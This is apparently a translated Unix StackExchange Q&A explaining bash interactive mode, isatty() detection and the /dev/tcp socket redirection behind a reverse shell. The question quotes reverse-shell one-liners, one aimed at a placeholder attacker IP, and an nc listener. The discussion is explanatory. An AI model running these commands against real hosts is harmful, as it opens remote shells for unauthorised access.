我有两个关于巴什的问题。我在查看反向外壳和-i标志。当我执行bash -i > /dev/tcp/ip/port 2>&1 0>&1时,我在服务器机器上得到一个交互式shell,并使用nc -l端口捕获它。但是,当我不输入-i标志时,我会得到一个非登录、非交互的shell。到目前为止,这将是预期的行为。但是,在本地执行bash和bash -i时,我两次都会得到交互式的新shell,就好像交互式是默认模式一样。为什么在没有-i的情况下重定向bash不是交互式的,而本地bash是交互的呢?
关于重定向的第二个问题,我看到了这个班轮,但我不太明白这里所涉及的重定向:
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1据我所见,是将bash的stdout重定向到/dev/tcp.然后接受stdout作为stdin (0<&1)的位置,并将stderr重定向到stdout (2>&1)。这将如何实现反向外壳?它不应该重定向/dev/tcp的内容吗。把标准输出和错误重定向到哪里?
谢谢!
发布于 2015-09-14 21:24:27
当bash的stdin和stderr连接到终端设备时,交互外壳是默认行为,这是由isatty()函数或其他类似工具检测到的。如果您在本地键入某个内容,而不通过管道(例如cat | bash),那么它就是TTY,而交互式是默认的。当您从套接字重定向时,它不是TTY,需要标志进入交互模式。
当您重定向到或从/dev/tcp/<ip>/<port>时,实际上并不使用/dev下的文件。(如果您尝试ls /dev/tcp,得到No such file or directory.),这实际上是bash接受的一种特殊语法,它使它打开一个套接字到给定的ip和port,而不是执行打开的本地文件。而且套接字没有像文件一样的“读”或“写”模式,所以当fd 1是套接字时,语法0<&1和0>&1是等价的。
https://unix.stackexchange.com/questions/229677
复制相似问题